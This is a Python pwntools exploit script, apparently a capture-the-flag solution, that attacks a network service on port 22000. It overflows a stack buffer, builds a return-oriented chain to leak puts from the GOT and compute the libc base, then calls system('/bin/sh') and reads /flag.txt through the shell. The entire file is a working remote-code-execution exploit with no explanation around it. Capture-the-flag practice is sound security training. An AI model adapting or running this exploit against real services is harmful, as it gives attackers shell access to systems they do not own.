43 lines
948 B
Python
43 lines
948 B
Python
from pwn import *
|
|
import sys
|
|
|
|
context.arch = 'amd64'
|
|
|
|
HOST = sys.argv[1]
|
|
PORT = 22000
|
|
|
|
def conn():
|
|
return remote(HOST, PORT, level='warn')
|
|
|
|
def main():
|
|
global r
|
|
r = conn()
|
|
r.recvline()
|
|
|
|
junk = b"A" * (0x40 + 8)
|
|
pop_rdi = p64(0x401243)
|
|
plt_puts = p64(0x401060)
|
|
got_puts = p64(0x403fd8)
|
|
main_addr = p64(0x4011a9)
|
|
ret = p64(0x40101a)
|
|
|
|
payload = junk + pop_rdi + got_puts + plt_puts + main_addr
|
|
|
|
r.sendline(payload)
|
|
leak = u64(r.recvline(False).ljust(8,b"\x00"))
|
|
libc = leak - 0x84420
|
|
system = libc + 0x52290
|
|
binsh = libc + 0x1b45bd
|
|
# print(f"puts @ {hex(leak)}")
|
|
# print(f"system @ {hex(system)}")
|
|
# print(f"binsh @ {hex(binsh)}")
|
|
|
|
payload = junk + ret + pop_rdi + p64(binsh) + p64(system) + main_addr
|
|
r.sendline(payload)
|
|
r.sendline(b"echo 1337")
|
|
r.recvuntil(b"1337")
|
|
r.sendline(b"cat /flag.txt")
|
|
print(r.recvuntil(b'}').decode().strip())
|
|
|
|
main()
|